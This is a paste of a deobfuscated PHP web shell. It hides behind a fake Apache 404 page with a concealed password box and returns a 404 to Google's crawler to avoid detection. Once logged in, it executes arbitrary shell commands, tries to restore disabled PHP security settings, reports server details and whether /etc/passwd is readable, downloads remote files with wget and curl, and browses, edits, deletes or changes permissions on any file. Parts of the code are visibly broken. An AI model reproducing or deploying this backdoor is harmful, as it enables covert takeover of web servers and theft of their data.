· 9 years ago · Jan 08, 2017, 03:12 PM
1/* Decoded by unphp.net */
2
3<?php $auth_pass = "4a5aac23207e20def19444070d813b5d";
4$cookie_hour_expire = 24;
5if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
6 header('HTTP/1.0 404 Not Found');
7 exit;
8}
9function printLogin() { ?>
10
11<html><head><title>404 Not Found</title></head>
12<style>
13input { margin:0;background-color:#fff;border:1px solid #fff; }
14</style>
15<body>
16<h1>Not Found</h1>
17<p>The requested URL <? $_SERVER['PHP_SELF'] ?> was not found on this server.</p>
18<p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
19<hr>
20<form method=post>
21<address>Apache/2.2.8 at <?=$_SERVER['HTTP_HOST'] ?> Port 80<center><input type=password name=x><input type=submit value=''></center></address>
22</form></body></html>
23<?php
24 exit;
25}
26$cookie_value = md5($_SERVER['HTTP_HOST'] . "privacy" . $auth_pass);
27if (isset($_POST['x'])) {
28 if (md5($_POST['x']) != $auth_pass) {
29 printLogin();
30 } else {
31 setcookie("privacy", $cookie_value, time() + (60 * (60 * $cookie_hour_expire)));
32 }
33} elseif (isset($_COOKIE['privacy'])) {
34 if ($_COOKIE['privacy'] != $cookie_value) {
35 printLogin();
36 }
37} elseif (!isset($_COOKIE['privacy'])) {
38 printLogin();
39}
40if (isset($_POST['logout'])) {
41 setcookie("privacy", "", time() - (60 * (60 * 60 * 360000)));
42 $page = $host = 'http://' . $_SERVER['SERVER_NAME'] . '/' . $_SERVER['PHP_SELF'];
43 echo '<center><span class="b1"> Please Wait ...</scan></center>';
44?>
45<script>window.location.href = '<?php print $page; ?>';</script>
46<?php exit(0);
47}
48@session_start();
49@set_time_limit(0);
50@error_reporting(0);
51@ini_set('log_errors', 0);
52@ini_set('error_log', NULL);
53@ini_restore("safe_mode");
54@ignore_user_abort(FALSE);
55@ini_restore("open_basedir");
56@define('SELF_PATH', __FILE__);
57@set_magic_quotes_runtime(0);
58@ini_restore("allow_url_fopen");
59@ini_set('max_execution_time', 0);
60@ini_restore("disable_functions");
61@ini_restore("safe_mode_exec_dir");
62@ini_restore("safe_mode_include_dir");
63@ini_set('zlib.output_compression', 'Off');
64date_default_timezone_set('Etc/GMT');
65if (get_magic_quotes_gpc()) {
66 function stripslashes_array($array) {
67 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
68 }
69 $_POST = stripslashes_array($_POST);
70}
71$quotes = get_magic_quotes_gpc();
72if ($quotes == "1" or $quotes == "on") {
73 $quot = "<font style='color:yellow'>ON</font>";
74} else {
75 $quot = "<font style='color:#444444'>OFF</font>";
76}
77$disablefunc = @ini_get("disable_functions");
78function showdisablefunctions() {
79 if ($disablefunc = @ini_get("disable_functions")) {
80 return "<span style='color:yellow'>" . $disablefunc . "</span>";
81 } else {
82 return "<span style='color:#444444'>NONE</span>";
83 }
84}
85function ex($cfe) {
86 $res = '';
87 if (!empty($cfe)) {
88 if (function_exists('exec')) {
89 @exec($cfe, $res);
90 $res = join("
91", $res);
92 } elseif (function_exists('shell_exec')) {
93 $res = @shell_exec($cfe);
94 } elseif (function_exists('system')) {
95 @ob_start();
96 @system($cfe);
97 $res = @ob_get_contents();
98 @ob_end_clean();
99 } elseif (function_exists('passthru')) {
100 @ob_start();
101 @passthru($cfe);
102 $res = @ob_get_contents();
103 @ob_end_clean();
104 } elseif (@is_resource($f = @popen($cfe, "r"))) {
105 $res = "";
106 while (!@feof($f)) {
107 $res.= @fread($f, 1024);
108 }
109 @pclose($f);
110 } else {
111 $res = "Ex() Disabled!";
112 }
113 }
114 return $res;
115}
116function delete_option($file) {
117 if (!$win) {
118 @exe("rm -rf " . $file);
119 if (file_exists($file) && is_file($file)) {
120 unlink($file);
121 } elseif (file_exists($file) && is_dir($file)) {
122 rmdir($file);
123 }
124 } elseif ($win) {
125 if (is_dir($file)) {
126 @exe("rd /s /q " . $file);
127 if (file_exists($file)) {
128 rmdir($file);
129 }
130 } else {
131 @exe("del /q /f " . $file);
132 exe("rd /s /q " . $file);
133 if (file_exists($file)) {
134 unlink($file);
135 }
136 }
137 }
138}
139if (isset($_POST['rename'])) {
140 $old = $_POST['oldname'];
141 $new = $_POST['newname'];
142 @rename($pwd . $old, $pwd . $new);
143 $file = $pwd . $new;
144}
145if (isset($_POST['chmod'])) {
146 $name = $_POST['name'];
147 $value = $_POST['newvalue'];
148 if (strlen($value) == 3) {
149 $value = 0 . "" . $value;
150 }
151 @chmod($pwd . $name, octdec($value));
152 $file = $pwd . $name;
153}
154if (isset($_POST['chmod_folder'])) {
155 $name = $_POST['name'];
156 $value = $_POST['newvalue'];
157 if (strlen($value) == 3) {
158 $value = 0 . "" . $value;
159 }
160 @chmod($pwd . $name, octdec($value));
161 $file = $pwd . $name;
162}
163function showstat($stat) {
164 if ($stat == "on") {
165 return "<b><font style='color:yellow'>ON</font></b>";
166 } else {
167 return "<b><font style='color:#444444'>OFF</font></b>";
168 }
169}
170function testperl() {
171 if (ex('perl -h')) {
172 return showstat("on");
173 } else {
174 return showstat("off");
175 }
176}
177function testfetch() {
178 if (ex('fetch --help')) {
179 return showstat("on");
180 } else {
181 return showstat("off");
182 }
183}
184function testwget() {
185 if (ex('wget --help')) {
186 return showstat("on");
187 } else {
188 return showstat("off");
189 }
190}
191function testoracle() {
192 if (function_exists('ocilogon')) {
193 return showstat("on");
194 } else {
195 return showstat("off");
196 }
197}
198function testpostgresql() {
199 if (function_exists('pg_connect')) {
200 return showstat("on");
201 } else {
202 return showstat("off");
203 }
204}
205function testmssql() {
206 if (function_exists('mssql_connect')) {
207 return showstat("on");
208 } else {
209 return showstat("off");
210 }
211}
212function testcurl() {
213 if (function_exists('curl_version')) {
214 return showstat("on");
215 } else {
216 return showstat("off");
217 }
218}
219function testmysql() {
220 if (function_exists('mysql_connect')) {
221 return showstat("on");
222 } else {
223 return showstat("off");
224 }
225}
226if (isset($_GET['dl']) && ($_GET['dl'] != "")) {
227 $file = $_GET['dl'];
228 $filez = @file_get_contents($file);
229 header("Content-type: application/octet-stream");
230 header("Content-length: " . strlen($filez));
231 header("Content-disposition: attachment; filename=\"" . basename($file) . "\";");
232 echo $filez;
233 exit;
234} elseif (isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")) {
235 $file = $_GET['dlgzip'];
236 $filez = gzencode(@file_get_contents($file));
237 header("Content-Type:application/x-gzip
238");
239 header("Content-length: " . strlen($filez));
240 header("Content-disposition: attachment; filename=\"" . basename($file) . ".gz\";");
241 echo $filez;
242 exit;
243}
244if (isset($_GET['img'])) {
245 @ob_clean();
246 $d = isset($_GET['img']) ? $_GET['img'] : "";
247 $f = $_GET['img'];
248 $inf = @getimagesize($d . $f);
249 $ext = explode($f, ".");
250 $ext = $ext[count($ext) - 1];
251 @header("Content-type: " . $inf["mime"]);
252 @header("Cache-control: public");
253 @header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
254 @header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
255 @readfile($d . $f);
256 die();
257}
258$software = getenv("SERVER_SOFTWARE");
259if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE;
260else $safemode = FALSE;
261$system = @php_uname();
262if (strtolower(substr($system, 0, 3)) == "win") $win = TRUE;
263else $win = FALSE;
264if (isset($_GET['dm'])) {
265 if (@is_dir($_GET['view'])) {
266 $pwd = $_GET['view'];
267 @chdir($pwd);
268 } else {
269 $pwd = $_GET['dm'];
270 @chdir($pwd);
271 }
272}
273if (!$win) {
274 if (!$user = rapih(exe("whoami"))) $user = "";
275 if (!$id = rapih(exe("id"))) $id = "";
276 $prompt = $user . " \$] ";
277 $pwd = @getcwd() . DIRECTORY_SEPARATOR;
278} else {
279 $user = @get_current_user();
280 $id = $user;
281 $prompt = $user . " >";
282 $pwd = realpath(".") . "\";
283$v = explode("\",$d);
284$v = $v[0];
285foreach (range("A","Z") as $letter) {
286$bool = @is_dir($letter.":
287 \");
288if ($bool) {
289$letters .= " < ahref = \"?dm=" . $letter . ":\"><span class=\"infodmx\">[ ";
290 if ($letter . ":" != $v) {
291 $letters.= $letter;
292 } else {
293 $letters.= "<span style=\"color:#444444\"/>" . $letter . "</span>";
294 }
295 $letters.= " ]</span> </a>";
296 }
297}
298}
299if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
300else $posix = FALSE;
301$bytes = disk_free_space(".");
302$si_prefix = array('B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB');
303$base = 1024;
304$class = min((int)log($bytes, $base), count($si_prefix) - 1);
305$totalspace_bytes = disk_total_space(".");
306$totalspace_si_prefixs = array('B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB');
307$totalspace_bases = 1024;
308$totalspace_class = min((int)log($totalspace_bytes, $totalspace_bases), count($totalspace_si_prefixs) - 1);
309$totalspace_show = sprintf('%1.2f', $totalspace_bytes / pow($totalspace_bases, $totalspace_class)) . ' ' . $totalspace_si_prefixs[$totalspace_class] . '';
310$freespace_show = sprintf('%1.2f', $bytes / pow($base, $class)) . ' ' . $si_prefix[$class] . '';
311$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
312$my_ip = $_SERVER['REMOTE_ADDR'];
313$server_admin = $_SERVER['SERVER_ADMIN'];
314$gat = $_SERVER['GATEWAY_INTERFACE'];
315$pro = $_SERVER['SERVER_PROTOCOL'];
316$readdr = $_SERVER['REMOTE_ADDR'];
317$uagent = $_SERVER['HTTP_USER_AGENT'];
318$xforwarded = $_SERVER['HTTP_X_FORWARDED_FOR'];
319$signature = $_SERVER['SERVER_SIGNATURE'];
320$serport = $_SERVER['SERVER_PORT'];
321$remport = $_SERVER['REMOTE_PORT'];
322$bindport = "13123";
323$bindport_pass = "b374k";
324$etc_passwd = @is_readable("/etc/passwd") ? "<b><span style=\"color:#444444\"/>ON</span></b>" : "<b><span style=\"color:red\"/>DISABLE</span></b>";
325$pwds = explode(DIRECTORY_SEPARATOR, $pwd);
326$pwdurl = "";
327for ($i = 0;$i < sizeof($pwds) - 1;$i++) {
328 $pathz = "";
329 for ($j = 0;$j <= $i;$j++) {
330 $pathz.= $pwds[$j] . DIRECTORY_SEPARATOR;
331 }
332 $pwdurl.= "<a href=\"?dm=" . $pathz . "\">" . $pwds[$i] . " " . DIRECTORY_SEPARATOR . " </a>";
333}
334$buff.= "<nobr><b><span class=\"dminfox\">Software</span> : <span style=\"color:#444444\"/>" . $software . "</span></b></nobr><br/>";
335$buff.= "<nobr><b><span class=\"dminfox\">System</span> : <span style=\"color:#444444\"/>" . $system . "</span></b></nobr><br />";
336$buff.= "<nobr><b><span class=\"dminfox\">Webmaster</span> : " . "<b><span style='color:#444444'>$server_admin</span></b>" . " <b><span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Date : <b><span style=\"color:#444444\"/>" . date("d M Y H:i:s", time()) . "</b><br/>";
337if ($id != "") $buff.= "<nobr><span class=\"dminfox\">User</span> : <b><span style=\"color:#444444\"/>" . $id . "</span></b><nobr><br />";
338$buff.= "<nobr><span class=\"dminfox\">Server IP</span> : <b><span style=\"color:#444444\"/>" . $server_ip . "</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Server Port</span> : <b><span style=\"color:#444444\"/>" . $serport . "</span></b></nobr><br/>";
339$buff.= "<nobr><span class=\"dminfox\">Your IP</span> : <b><span style=\"color:#444444\"/>" . $my_ip . "</span>
340<span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Real IP</span> : <b><span style=\"color:#444444\"/>" . $xforwarded . "</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Remote Port</span> : <b><span style=\"color:#444444\"/>" . $remport . "</span> </b></nobr><br/>";
341$buff.= "<nobr><span class=\"dminfox\">Total HDD</span> : " . "<b><span style='color:#444444'>$totalspace_show</span>" . " <b><span class=\"infodmx\">||</span></b> " . "<span class=\"depan\">Free HDD</span> : " . "<b><span style='color:#444444'>$freespace_show</span>" . "</b></nobr><br/>";
342$buff.= "<nobr><span class=\"dminfox\">PHP ver</span> : <b><span style='color:#444444'>" . phpversion() . "</span> <span class=\"infodmx\">||</span></b>
343<span class=\"dminfox\">Gateway</span> : <b><span style='color:#444444'>" . $gat . "</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Protocol</span> : <b><span style='color:#444444'>" . $pro . "</span></b></nobr><br/>";
344if ($safemode) $buff.= "<nobr><span class=\"dminfox\">Safemode</span> : <b><span style=\"color:red\">ON</span> [ <a href='?dm=$pwd&x=safemodeoff'>TURN OFF</a> ]</b><br />";
345else $buff.= "<nobr><span class=\"dminfox\">Safemode</span> : <b><span style=\"color:#444444\">OFF</span> <span class=\"infodmx\">||</span></b> <span class=\"depan\">Magic Quotes</span> : <b><span style=\"color:#444444\"/>" . $quot . "</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Read /etc/passwd</span> : " . "<span style='color:#444444'>$etc_passwd</span>" . "<br />";
346$buff.= "<nobr><span class=\"dminfox\">MySQL</span> : <b><span style=\"color:#444444\"/>" . testmysql() . " <span class=\"infodmx\">||</span></b>
347<span class=\"dminfox\">MSSQL :</span><b> <span style=\"color:#444444\"/>" . testmssql() . "</span> <span class=\"infodmx\">||</span></b>
348<span class=\"dminfox\">Oracle :</span><b> <span style=\"color:#444444\"/>" . testoracle() . "</span> <span class=\"infodmx\">||</span></b>
349<span class=\"dminfox\">PostgreSQL :</span><b> <span style=\"color:#444444\"/>" . testpostgresql() . "</span></b> </nobr><br/>";
350$buff.= "<nobr><span class=\"dminfox\">Curl</span> : <b><span style=\"color:#444444\"/>" . testcurl() . "</span> <span class=\"infodmx\">||</span></b>
351<span class=\"dminfox\">WGet</span> : <b><span style=\"color:#444444\"/>" . testwget() . "</span> <span class=\"infodmx\">||</span></b>
352<span class=\"dminfox\">Fetch</span> : <b><span style=\"color:#444444\"/>" . testfetch() . "</span> <span class=\"infodmx\">||</span></b>
353<span class=\"dminfox\">Perl</span> : <b><span style=\"color:#444444\"/>" . testperl() . "</span></b></nobr><br/>";
354$buff.= "<span class=\"dminfox\">Disabled Functions</span> : <span style=\"color:#444444\">" . showdisablefunctions() . "<br />";
355$buff.= $letters . "<span class=\"dminfox\"><pre>Directory : " . $pwdurl . "</pre></span><br /><br />";
356function rapih($text) {
357 return trim(str_replace("<br />", "", $text));
358}
359function magicboom($text) {
360 if (!get_magic_quotes_gpc()) {
361 return $text;
362 }
363 return stripslashes($text);
364}
365function showdir($pwd, $prompt) {
366 $fname = array();
367 $dname = array();
368 if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
369 else $posix = FALSE;
370 $user = "????:????";
371 if ($dh = opendir($pwd)) {
372 while ($file = readdir($dh)) {
373 if (is_dir($file)) {
374 $dname[] = $file;
375 } elseif (is_file($file)) {
376 $fname[] = $file;
377 }
378 }
379 closedir($dh);
380 }
381 sort($fname);
382 sort($dname);
383 $path = @explode(DIRECTORY_SEPARATOR, $pwd);
384 $tree = @sizeof($path);
385 $parent = "";
386 // Membuat 2 Form Input CMD n DIRectory Di Main Page //
387 $buff = "<form action=\"?dm=" . $pwd . "&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
388<table class=\"cmdbox\" style=\"width:50%;\">
389
390<tr>
391<td><nobr><b>CMD</b></nobr></td>
392<td><!-- onMouseOver=\"this.focus();\" --><nobr><input id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:300px;\" value=\"\" />
393<input class=\"inputzbut\" type=\"submit\" value=\" >> \" name=\"submitcmd\" style=\"width:50px;\" />
394</nobr>
395</form>
396</td>
397</tr>
398
399<tr>
400<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
401<input type=\"hidden\" name=\"dm\" value=\"" . $pwd . "\" />
402<td><nobr><b>DIR</b></nobr></td>
403
404<td><nobr><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:300px;\" value=\"" . $pwd . "\" /> <input class=\"inputzbut\" type=\"submit\" value=\" >> \" name=\"submitcmd\" style=\"width:50px;\" /></nobr></form>
405</td>
406</tr>
407</table>
408
409<p><table class=\"explore\"><tr>
410<th style=\"width:200px;\"><strong><span class='b3'>_NAME_</span></strong></th>
411<th style=\"width:70px;\"><strong><span class='b3'>_DIR / SIZE_</span></strong></th>
412<th style=\"width:70px;\"><strong><span class='b3'>_CHMOD_</span></strong></th>
413<th style=\"width:150px;\"><strong><span class='b3'>_OWNER : GROUP_</span></strong></th>
414<th style=\"width:140px;\"><strong><span class='b3'>_LAST ACCESS_</span></strong></th>
415<th style=\"width:150px;\"><strong><span class='b3'>_ACTION_</span></strong></th></tr>";
416 if ($tree > 2) for ($i = 0;$i < $tree - 2;$i++) $parent.= $path[$i] . DIRECTORY_SEPARATOR;
417 else $parent = $pwd;
418 foreach ($dname as $folder) {
419 if ($folder == ".") {
420 if (!$win && $posix) {
421 $name = @posix_getpwuid(@fileowner($folder));
422 $group = @posix_getgrgid(@filegroup($folder));
423 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
424 } else {
425 $owner = $user;
426 }
427 $buff.= "<tr>
428<td><a href=\"?dm=" . $pwd . "\"><img src='data:image/png;base64,R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWSkrqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/jVwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs='>$folder</a></td>
429<td align=center>-</td>
430<td align=center>" . substr(sprintf('%o', fileperms($pwd)), -4) . "</td>
431<td align=center>" . $owner . "</td>
432<td align=center>" . date("d-M-Y H:i", @fileatime($pwd)) . "</td>
433<td align=center><span id=\"titik1\">
434<a href=\"?dm=$pwd&edit=" . $pwd . "new.php\">[ +FILE ] </a><span class=\"infodmx\">||</span><a href=\"javascript:tukar('titik1','titik1_form');\"> [ +FOLDER ]</a></span>
435<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
436<input type=\"hidden\" name=\"dm\" value=\"" . $pwd . "\" />
437<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"folder\" />
438<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
439</form>
440</td></tr>";
441 } elseif ($folder == "..") {
442 if (!$win && $posix) {
443 $name = @posix_getpwuid(@fileowner($folder));
444 $group = @posix_getgrgid(@filegroup($folder));
445 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
446 } else {
447 $owner = $user;
448 }
449 $buff.= "<tr>
450<td><a href=\"?dm=" . $parent . "\"><img src='data:image/png;base64,R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqtWg0JADs='/>$folder</a></td>
451<td align=center>-</td>
452<td align=center>" . substr(sprintf('%o', fileperms($parent)), -4) . "</td>
453<td align=center>" . $owner . "</td>
454<td align=center>" . date("d-M-Y H:i", @fileatime($parent)) . "</td>
455<td align=center><span id=\"titik2\"><a href=\"?dm=$pwd&edit=" . $parent . "new.php\">[+FILE ] </a><span class=\"infodmx\">||</span><a href=\"javascript:tukar('titik2','titik2_form');\"> [ +FOLDER ]</a></span>
456<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
457<input type=\"hidden\" name=\"dm\" value=\"" . $pwd . "\" />
458<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"folder\" />
459<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
460</form>
461</td>
462</tr>";
463 } else {
464 if (!$win && $posix) {
465 $name = @posix_getpwuid(@fileowner($folder));
466 $group = @posix_getgrgid(@filegroup($folder));
467 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
468 } else {
469 $owner = $user;
470 }
471 $buff.= "<tr>
472<td>
473<a id=\"" . clearspace($folder) . "_link\" href=\"?dm=" . $pwd . $folder . DIRECTORY_SEPARATOR . "\"><img src='data:image/png;base64,
474R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///
475nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='/> $folder </a>
476
477<form action=\"?dm=$pwd\" method=\"post\" id=\"" . clearspace($folder) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
478<input type=\"hidden\" name=\"oldname\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" />
479<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $folder . "\" />
480<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
481<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($folder) . "_form','" . clearspace($folder) . "_link');\" />
482</form>
483</td>
484<td align=center>FOLDER</td>
485<td align=center><a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\">
486" . substr(sprintf('%o', fileperms($pwd . $folder)), -4) . "</a>
487<form action=\"?dm=$pwd\" method=\"post\" id=\"" . clearspace($folder) . "_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
488<input type=\"hidden\" name=\"name\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" />
489<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($pwd . $folder)), -4) . "\" />
490<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
491<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\" /></form></td>
492<td align=center>" . $owner . "</td>
493<td align=center>" . date("d-M-Y H:i", @fileatime($folder)) . "</td>
494<td align=center><a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form');\">[ REN ] </a><span class=\"infodmx\">||</span><a href=\"?dm=$pwd&fdelete=" . $pwd . $folder . "\"> [ DEL ]</a>
495</td></tr>";
496 }
497 }
498 foreach ($fname as $file) {
499 $full = $pwd . $file;
500 if (!$win && $posix) {
501 $name = @posix_getpwuid(@fileowner($file));
502 $group = @posix_getgrgid(@filegroup($file));
503 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
504 } else {
505 $owner = $user;
506 }
507 $buff.= "<tr>
508<td><a id=\"" . clearspace($file) . "_link\" href=\"?dm=$pwd&view=$full\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAXVJREFUOE+NkjtPwlAYhv0DLEZJSDQawQCTcYD/YWIkzqx0cHT1D7C4nMRFSdOWi4uzm9FFXcRBI3KxQGlLoYCAILyekhiRw6UneZKmeb8n79eepaW/43e5XFGfz0csvF4v8Xi2yfrGJllecRIa2xnLMo+OcDis6kYNulEfUdEMZD/KuH1IQ7y6RiQS0eZJAolkig6U/pHJy0i/vOPm/gnlikYl3ExJMJm6hFxWGQpFhUqyKJQqyNFGHMfptMnu5A5UkBrVZqkiLyt4zcrI5It4y8nY2w9ZkrVxSdBaoVozZ6LqtVGDu8dnHB2fgA4HGYHZaGE2TRj1BoqKhlNyxgriiSRan+2FmM0WYrzACiQq6HS7C2l3uhDjiSkC+vKr17OFNE0gSnH0+9+2sLLMRxRECYPBwBaCOEXACyKGw6EteEFiGgTOYzzsnguapSsExu+B4yB0qJYUlf5rcy5WxsrSYcfkdfavOp3RLbebzMPK0EH/7/APv59j7X+gJNIAAAAASUVORK5CYII%3D' /> $file</a><form action=\"?dm=$pwd\" method=\"post\" id=\"" . clearspace($file) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
509<input type=\"hidden\" name=\"oldname\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" />
510<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $file . "\" />
511<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
512<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\" />
513</form></td>
514<td align=center>" . ukuran($full) . "</td>
515<td align=center><a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\">" . substr(sprintf('%o', fileperms($full)), -4) . "</a><form action=\"?dm=$pwd\" method=\"post\" id=\"" . clearspace($file) . "_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
516<input type=\"hidden\" name=\"name\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" />
517<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($full)), -4) . "\" />
518<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
519<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\" />
520</form></center></td>
521<td align=center>" . $owner . "</td>
522<td align=center>" . date("d-M-Y H:i", @fileatime($full)) . "</td>
523<td align=center><a href=\"?dm=$pwd&edit=$full\">[E]</a>
524<span class=\"infodmx\">||</span>
525<a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\">[R]</a>
526<span class=\"infodmx\">||</span>
527<a href=\"?dm=$pwd&delete=$full\">[X]</a>
528<span class=\"infodmx\">||</span>
529<a href=\"?dm=$pwd&dl=$full\">[D]</a>
530</td></tr>";
531 }
532 $buff.= "</table></p>";
533 return $buff;
534}
535// Fungsi Ukuran Besar Jenis File
536function ukuran($file) {
537 if ($size = @filesize($file)) {
538 if ($size <= 1024) {
539 return "$size B";
540 } else {
541 if ($size <= 1024 * 1024) {
542 $size = @round($size / 1024, 2);;
543 return "$size KB";
544 } else {
545 $size = @round($size / 1024 / 1024, 2);
546 return "$size MB";
547 }
548 }
549 } else return "???";
550}
551function exe($cmd) {
552 if (function_exists('system')) {
553 @ob_start();
554 @system($cmd);
555 $buff = @ob_get_contents();
556 @ob_end_clean();
557 return $buff;
558 } elseif (function_exists('exec')) {
559 @exec($cmd, $results);
560 $buff = "";
561 foreach ($results as $result) {
562 $buff.= $result;
563 }
564 return $buff;
565 } elseif (function_exists('passthru')) {
566 @ob_start();
567 @passthru($cmd);
568 $buff = @ob_get_contents();
569 @ob_end_clean();
570 return $buff;
571 } elseif (function_exists('shell_exec')) {
572 $buff = @shell_exec($cmd);
573 return $buff;
574 }
575}
576// Fungsi Tulis NewFile //
577function tulis($file, $text) {
578 $textz = gzinflate(base64_decode($text));
579 if ($filez = @fopen($file, "w")) {
580 @fputs($filez, $textz);
581 @fclose($file);
582 }
583}
584// Fungsi Upload Dari Url //
585function ambil($link, $file) {
586 if ($fp = @fopen($link, "r")) {
587 while (!feof($fp)) {
588 $cont.= @fread($fp, 1024);
589 }
590 @fclose($fp);
591 $fp2 = @fopen($file, "w");
592 @fwrite($fp2, $cont);
593 @fclose($fp2);
594 }
595}
596function which($pr) {
597 $path = exe("which $pr");
598 if (!empty($path)) {
599 return trim($path);
600 } else {
601 return trim($pr);
602 }
603}
604function download($cmd, $url) {
605 $namafile = basename($url);
606 switch ($cmd) {
607 case 'wwget':
608 exe(which('wget') . " " . $url . " -O " . $namafile);
609 break;
610 case 'wlynx':
611 exe(which('lynx') . " -source " . $url . " >" . $namafile);
612 break;
613 case 'wfread':
614 ambil($wurl, $namafile);
615 break;
616 case 'wfetch':
617 exe(which('fetch') . " -o " . $namafile . " -p " . $url);
618 break;
619 case 'wlinks':
620 exe(which('links') . " -source " . $url . " >" . $namafile);
621 break;
622 case 'wget':
623 exe(which('GET') . " " . $url . " >" . $namafile);
624 break;
625 case 'wcurl':
626 exe(which('curl') . " " . $url . " -o " . $namafile);
627 break;
628 default:
629 break;
630 }
631 return $namafile;
632}
633// Fungsi array utk CHMOD / permission //
634function get_perms($file) {
635 if ($mode = @fileperms($file)) {
636 $perms = '';
637 $perms.= ($mode & 00400) ? 'r' : '-';
638 $perms.= ($mode & 00200) ? 'w' : '-';
639 $perms.= ($mode & 00100) ? 'x' : '-';
640 $perms.= ($mode & 00040) ? 'r' : '-';
641 $perms.= ($mode & 00020) ? 'w' : '-';
642 $perms.= ($mode & 00010) ? 'x' : '-';
643 $perms.= ($mode & 00004) ? 'r' : '-';
644 $perms.= ($mode & 00002) ? 'w' : '-';
645 $perms.= ($mode & 00001) ? 'x' : '-';
646 return $perms;
647 } else return "?????";
648}
